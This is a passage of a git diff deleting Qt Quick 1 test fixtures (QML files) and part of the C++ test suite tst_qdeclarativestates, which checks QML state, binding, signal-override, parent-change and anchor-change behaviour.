b/tests/auto/qtquick1/qdeclarativestates/data/propertyErrors.qml deleted file mode 100644 index 3ab3c3252e..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/propertyErrors.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { target: myRectangle; colr: "blue"; activeFocus: true } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/reset.qml b/tests/auto/qtquick1/qdeclarativestates/data/reset.qml deleted file mode 100644 index a140ffab4d..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/reset.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 640 - height: 480 - Image { - id: image - width: 40 - source: "image.png" - } - - states: State { - name: "state1" - PropertyChanges { - target: image - width: undefined - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/restoreEntryValues.qml b/tests/auto/qtquick1/qdeclarativestates/data/restoreEntryValues.qml deleted file mode 100644 index dfd7c1794a..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/restoreEntryValues.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - PropertyChanges { - target: myRectangle - restoreEntryValues: false - color: "blue" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/returnToBase.qml b/tests/auto/qtquick1/qdeclarativestates/data/returnToBase.qml deleted file mode 100644 index a0d053cf03..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/returnToBase.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: theRect - property bool triggerState: false - property string stateString: "" - states: [ State { - when: triggerState - PropertyChanges { - target: theRect - stateString: "inState" - } - }, - State { - name: "" - PropertyChanges { - target: theRect - stateString: "originalState" - } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/script.qml b/tests/auto/qtquick1/qdeclarativestates/data/script.qml deleted file mode 100644 index 630aaf0ffa..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/script.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: myRectangle - width: 100; height: 100 - color: "red" - states: State { - name: "blue" - StateChangeScript { script: myRectangle.color = "blue"; } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/signalOverride.qml b/tests/auto/qtquick1/qdeclarativestates/data/signalOverride.qml deleted file mode 100644 index 0eaf547644..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/signalOverride.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 -import Qt.test 1.0 - -MyRectangle { - id: rect - - onDidSomething: color = "blue" - - width: 100; height: 100 - color: "red" - states: State { - name: "green" - PropertyChanges { - target: rect - onDidSomething: color = "green" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/signalOverride2.qml b/tests/auto/qtquick1/qdeclarativestates/data/signalOverride2.qml deleted file mode 100644 index ef26ff14e7..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/signalOverride2.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 -import Qt.test 1.0 - -MyRectangle { - id: rect - onDidSomething: color = "blue" - width: 100; height: 100 - ExtendedRectangle {} -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash.qml b/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash.qml deleted file mode 100644 index 8e9b698383..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.0 -import Qt.test 1.0 - -MyRectangle { - id: rect - - width: 100; height: 100 - states: State { - name: "overridden" - PropertyChanges { - target: rect - onDidSomething: rect.state = "" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash2.qml b/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash2.qml deleted file mode 100644 index 74df9430c3..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash2.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: myRect - width: 400 - height: 400 - - states: [ - State { - name: "state1" - PropertyChanges { - target: myRect - onHeightChanged: console.log("Hello World") - color: "green" - } - }, - State { - name: "state2"; extend: "state1" - PropertyChanges { - target: myRect - color: "red" - } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash3.qml b/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash3.qml deleted file mode 100644 index ed1f22f39a..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/signalOverrideCrash3.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: myRect - width: 400 - height: 400 - - onHeightChanged: console.log("base state") - - states: [ - State { - name: "state1" - PropertyChanges { - target: myRect - onHeightChanged: console.log("state1") - color: "green" - } - }, - State { - name: "state2"; - PropertyChanges { - target: myRect - onHeightChanged: console.log("state2") - color: "red" - } - }] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/unnamedWhen.qml b/tests/auto/qtquick1/qdeclarativestates/data/unnamedWhen.qml deleted file mode 100644 index 4425b4dd49..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/unnamedWhen.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: theRect - property bool triggerState: false - property string stateString: "" - states: State { - when: triggerState - PropertyChanges { - target: theRect - stateString: "inState" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/urlResolution.qml b/tests/auto/qtquick1/qdeclarativestates/data/urlResolution.qml deleted file mode 100644 index 743f5404b0..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/urlResolution.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 -import "Implementation" - -Rectangle { - width: 100 - height: 200 - - MyType { - objectName: "MyType" - anchors.fill: parent - } -} diff --git a/tests/auto/qtquick1/qdeclarativestates/data/whenOrdering.qml b/tests/auto/qtquick1/qdeclarativestates/data/whenOrdering.qml deleted file mode 100644 index 48aef5a6ce..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/data/whenOrdering.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property bool condition1: false - property bool condition2: false - - states: [ - State { name: "state1"; when: condition1 }, - State { name: "state2"; when: condition2 } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativestates/qdeclarativestates.pro b/tests/auto/qtquick1/qdeclarativestates/qdeclarativestates.pro deleted file mode 100644 index 1c9a58647f..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/qdeclarativestates.pro +++ /dev/null @@ -1,10 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativestates -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativestates.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/qtquick1/qdeclarativestates/tst_qdeclarativestates.cpp deleted file mode 100644 index 2d5731bc8e..0000000000 --- a/tests/auto/qtquick1/qdeclarativestates/tst_qdeclarativestates.cpp +++ /dev/null @@ -1,1526 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class MyAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(int foo READ foo WRITE setFoo) -public: - MyAttached(QObject *parent) : QObject(parent), m_foo(13) {} - - int foo() const { return m_foo; } - void setFoo(int f) { m_foo = f; } - -private: - int m_foo; -}; - -class MyRect : public QDeclarative1Rectangle -{ - Q_OBJECT - Q_PROPERTY(int propertyWithNotify READ propertyWithNotify WRITE setPropertyWithNotify NOTIFY oddlyNamedNotifySignal) -public: - MyRect() {} - - void doSomething() { emit didSomething(); } - - int propertyWithNotify() const { return m_prop; } - void setPropertyWithNotify(int i) { m_prop = i; emit oddlyNamedNotifySignal(); } - - static MyAttached *qmlAttachedProperties(QObject *o) { - return new MyAttached(o); - } -Q_SIGNALS: - void didSomething(); - void oddlyNamedNotifySignal(); - -private: - int m_prop; -}; - -QML_DECLARE_TYPE(MyRect) -QML_DECLARE_TYPEINFO(MyRect, QML_HAS_ATTACHED_PROPERTIES) - -class tst_qdeclarativestates : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativestates() {} - -private: - static QByteArray fullDataPath(const QString &path); - -private slots: - void initTestCase(); - - void basicChanges(); - void attachedPropertyChanges(); - void basicExtension(); - void basicBinding(); - void signalOverride(); - void signalOverrideCrash(); - void signalOverrideCrash2(); - void signalOverrideCrash3(); - void parentChange(); - void parentChangeErrors(); - void anchorChanges(); - void anchorChanges2(); - void anchorChanges3(); - void anchorChanges4(); - void anchorChanges5(); - void anchorChangesRTL(); - void anchorChangesRTL2(); - void anchorChangesRTL3(); - void anchorChangesCrash(); - void anchorRewindBug(); - void anchorRewindBug2(); - void script(); - void restoreEntryValues(); - void explicitChanges(); - void propertyErrors(); - void incorrectRestoreBug(); - void autoStateAtStartupRestoreBug(); - void deletingChange(); - void deletingState(); - void tempState(); - void illegalTempState(); - void nonExistantProperty(); - void reset(); - void illegalObjectCreation(); - void whenOrdering(); - void urlResolution(); - void unnamedWhen(); - void returnToBase(); - void extendsBug(); - void editProperties(); - void QTBUG_14830(); -}; - -void tst_qdeclarativestates::initTestCase() -{ - qmlRegisterType("Qt.test", 1, 0, "MyRectangle"); -} - -QByteArray tst_qdeclarativestates::fullDataPath(const QString &path) -{ - return QUrl::fromLocalFile(SRCDIR + path).toString().toUtf8(); -} - -void tst_qdeclarativestates::basicChanges() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges3.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),1); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->border()->width(),1); - - rectPrivate->setState("bordered"); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),2); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),1); - //### we should be checking that this is an implicit rather than explicit 1 (which currently fails) - - rectPrivate->setState("bordered"); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),2); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->border()->width(),1); - - } - - { - // Test basicChanges4.qml can magically connect to propertyWithNotify's notify - // signal using 'onPropertyWithNotifyChanged' even though the signal name is - // actually 'oddlyNamedNotifySignal' - - QDeclarativeComponent component(&engine, SRCDIR "/data/basicChanges4.qml"); - QVERIFY(component.isReady()); - - MyRect *rect = qobject_cast(component.create()); - QVERIFY(rect != 0); - - QMetaProperty prop = rect->metaObject()->property(rect->metaObject()->indexOfProperty("propertyWithNotify")); - QVERIFY(prop.hasNotifySignal()); - QString notifySignal = QByteArray(prop.notifySignal().signature()); - QVERIFY(!notifySignal.startsWith("propertyWithNotifyChanged(")); - - QCOMPARE(rect->color(), QColor(Qt::red)); - - rect->setPropertyWithNotify(100); - QCOMPARE(rect->color(), QColor(Qt::blue)); - } -} - -void tst_qdeclarativestates::attachedPropertyChanges() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent component(&engine, SRCDIR "/data/attachedPropertyChanges.qml"); - QVERIFY(component.isReady()); - - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item != 0); - QCOMPARE(item->width(), 50.0); - - // Ensure attached property has been changed - QObject *attObj = qmlAttachedPropertiesObject(item, false); - QVERIFY(attObj); - - MyAttached *att = qobject_cast(attObj); - QVERIFY(att); - - QCOMPARE(att->foo(), 1); -} - -void tst_qdeclarativestates::basicExtension() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicExtension.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),1); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->border()->width(),1); - - rectPrivate->setState("bordered"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->border()->width(),2); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->border()->width(),1); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),1); - - rectPrivate->setState("bordered"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->border()->width(),2); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->border()->width(),1); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/fakeExtension.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - } -} - -void tst_qdeclarativestates::basicBinding() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - rect->setProperty("sourceColor", QColor("green")); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - rect->setProperty("sourceColor", QColor("yellow")); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("yellow")); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - rect->setProperty("sourceColor", QColor("green")); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("green")); - rect->setProperty("sourceColor", QColor("yellow")); - QCOMPARE(rect->color(),QColor("yellow")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("yellow")); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding3.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - rect->setProperty("sourceColor", QColor("green")); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - rect->setProperty("sourceColor", QColor("red")); - QCOMPARE(rect->color(),QColor("blue")); - rect->setProperty("sourceColor2", QColor("yellow")); - QCOMPARE(rect->color(),QColor("yellow")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - rect->setProperty("sourceColor2", QColor("green")); - QCOMPARE(rect->color(),QColor("red")); - rect->setProperty("sourceColor", QColor("yellow")); - QCOMPARE(rect->color(),QColor("yellow")); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicBinding4.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - rect->setProperty("sourceColor", QColor("yellow")); - QCOMPARE(rect->color(),QColor("yellow")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - rect->setProperty("sourceColor", QColor("purple")); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("purple")); - - rectPrivate->setState("green"); - QCOMPARE(rect->color(),QColor("green")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - } -} - -void tst_qdeclarativestates::signalOverride() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverride.qml"); - MyRect *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - rect->doSomething(); - QCOMPARE(rect->color(),QColor("blue")); - - QDeclarativeItemPrivate::get(rect)->setState("green"); - rect->doSomething(); - QCOMPARE(rect->color(),QColor("green")); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverride2.qml"); - MyRect *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("white")); - rect->doSomething(); - QCOMPARE(rect->color(),QColor("blue")); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("extendedRect")); - QDeclarativeItemPrivate::get(innerRect)->setState("green"); - rect->doSomething(); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(innerRect->color(),QColor("green")); - QCOMPARE(innerRect->property("extendedColor").value(),QColor("green")); - } -} - -void tst_qdeclarativestates::signalOverrideCrash() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverrideCrash.qml"); - MyRect *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarativeItemPrivate::get(rect)->setState("overridden"); - rect->doSomething(); -} - -void tst_qdeclarativestates::signalOverrideCrash2() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverrideCrash2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - QDeclarativeItemPrivate::get(rect)->setState("state2"); - QDeclarativeItemPrivate::get(rect)->setState("state1"); - - delete rect; -} - -void tst_qdeclarativestates::signalOverrideCrash3() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/signalOverrideCrash3.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - QDeclarativeItemPrivate::get(rect)->setState(""); - QDeclarativeItemPrivate::get(rect)->setState("state2"); - QDeclarativeItemPrivate::get(rect)->setState(""); - - delete rect; -} - -void tst_qdeclarativestates::parentChange() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange1.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1ParentChange *pChange = qobject_cast(state->operationAt(0)); - QVERIFY(pChange != 0); - QDeclarativeItem *nParent = qobject_cast(rect->findChild("NewParent")); - QVERIFY(nParent != 0); - - QCOMPARE(pChange->parent(), nParent); - - QDeclarativeItemPrivate::get(rect)->setState("reparented"); - QCOMPARE(innerRect->rotation(), qreal(0)); - QCOMPARE(innerRect->scale(), qreal(1)); - QCOMPARE(innerRect->x(), qreal(-133)); - QCOMPARE(innerRect->y(), qreal(-300)); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - rectPrivate->setState("reparented"); - QCOMPARE(innerRect->rotation(), qreal(15)); - QCOMPARE(innerRect->scale(), qreal(.5)); - QCOMPARE(QString("%1").arg(innerRect->x()), QString("%1").arg(-19.9075)); - QCOMPARE(QString("%1").arg(innerRect->y()), QString("%1").arg(-8.73433)); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange3.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - rectPrivate->setState("reparented"); - QCOMPARE(innerRect->rotation(), qreal(-37)); - QCOMPARE(innerRect->scale(), qreal(.25)); - QCOMPARE(QString("%1").arg(innerRect->x()), QString("%1").arg(-217.305)); - QCOMPARE(QString("%1").arg(innerRect->y()), QString("%1").arg(-164.413)); - - rectPrivate->setState(""); - QCOMPARE(innerRect->rotation(), qreal(0)); - QCOMPARE(innerRect->scale(), qreal(1)); - QCOMPARE(innerRect->x(), qreal(5)); - //do a non-qFuzzyCompare fuzzy compare - QVERIFY(innerRect->y() < qreal(0.00001) && innerRect->y() > qreal(-0.00001)); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange6.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QDeclarativeItemPrivate::get(rect)->setState("reparented"); - QCOMPARE(innerRect->rotation(), qreal(180)); - QCOMPARE(innerRect->scale(), qreal(1)); - QCOMPARE(innerRect->x(), qreal(-105)); - QCOMPARE(innerRect->y(), qreal(-105)); - } -} - -void tst_qdeclarativestates::parentChangeErrors() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange4.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/parentChange4.qml") + ":25:9: QML ParentChange: Unable to preserve appearance under non-uniform scale"); - QDeclarativeItemPrivate::get(rect)->setState("reparented"); - QCOMPARE(innerRect->rotation(), qreal(0)); - QCOMPARE(innerRect->scale(), qreal(1)); - QCOMPARE(innerRect->x(), qreal(5)); - QCOMPARE(innerRect->y(), qreal(5)); - } - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/parentChange5.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/parentChange5.qml") + ":25:9: QML ParentChange: Unable to preserve appearance under complex transform"); - QDeclarativeItemPrivate::get(rect)->setState("reparented"); - QCOMPARE(innerRect->rotation(), qreal(0)); - QCOMPARE(innerRect->scale(), qreal(1)); - QCOMPARE(innerRect->x(), qreal(5)); - QCOMPARE(innerRect->y(), qreal(5)); - } -} - -void tst_qdeclarativestates::anchorChanges() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges1.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1AnchorChanges *aChanges = qobject_cast(state->operationAt(0)); - QVERIFY(aChanges != 0); - - rectPrivate->setState("right"); - QCOMPARE(innerRect->x(), qreal(150)); - QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarative1AnchorLine::Invalid); //### was reset (how do we distinguish from not set at all) - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine); - - rectPrivate->setState(""); - QCOMPARE(innerRect->x(), qreal(5)); - - delete rect; -} - -void tst_qdeclarativestates::anchorChanges2() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - rectPrivate->setState("right"); - QCOMPARE(innerRect->x(), qreal(150)); - - rectPrivate->setState(""); - QCOMPARE(innerRect->x(), qreal(5)); - - delete rect; -} - -void tst_qdeclarativestates::anchorChanges3() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges3.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QDeclarativeItem *leftGuideline = qobject_cast(rect->findChild("LeftGuideline")); - QVERIFY(leftGuideline != 0); - - QDeclarativeItem *bottomGuideline = 